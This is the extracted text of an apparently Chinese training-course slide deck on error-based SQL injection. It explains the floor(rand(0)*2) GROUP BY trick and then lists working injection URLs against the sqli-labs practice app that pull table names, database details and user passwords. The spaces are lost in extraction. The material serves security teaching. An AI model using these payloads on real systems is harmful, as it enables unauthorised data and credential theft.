2018Web攻防训练营GET报错注入1.报错注入介绍2.GET单引号报错注入3.GET双引号报错注入4.Sqlmap安全测试课程内容01报错注入介绍报错注入形式上是两个嵌套的查询,即select…(select…),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:rand()随机函数,返回0~1之间的某个值floor(a)取整函数,返回小于等于a,且值最接近a的一个整数count()聚合函数也称作计数函数,返回查询对象的总数groupbyclause分组语句,按照查询结果分组通过报错来显示出具体的信息。查询的时候如果使用rand()的话,该值会被计算多次。在使用groupby的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011selectcount(*)fromtablegroupbyfloor(rand(0)*2);02GET单引号报错注入获取表名http://localhost/sqli-lab/Less-5/index.php?id=0'unionselect1,2,3from(selectcount(*),concat((selectconcat(table_name,0x3a,0x3a)frominformation_schema.tableswheretable_schema=database()limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a--+以Sqli-LabLess5为例获取数据库http://localhost/sqli-lab/Less-5/index.php?id=0'unionselect1,2,3from(selectcount(*),concat((selectconcat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit0,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a--+获取用户信息http://localhost/sqli-lab/Less-5/index.php?id=0'unionselect1,2,3from(selectcount(*),concat((selectconcat(username,0x3a,0x3a,password,0x3a,0x3a)fromsecurity.userslimit1,1),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a--+03GET双引号报错注入获取数据库http://localhost/sqli-lab/Less-6/index.php?id=0"unionselectcount(*),0,concat(0x3a,0x3a,(selectdatabase()),0x3a,0x3a,floor(rand()*2))asafrominformation_schema.tablesgroupbyalimit0,10--+04Sqlmap安全测试Sqlmap安全测试1.报错注入介绍2.GET单引号报错注入3.GET双引号报错注入4.Sqlmap安全测试课程内容再见欢迎关注Web安全训练营课程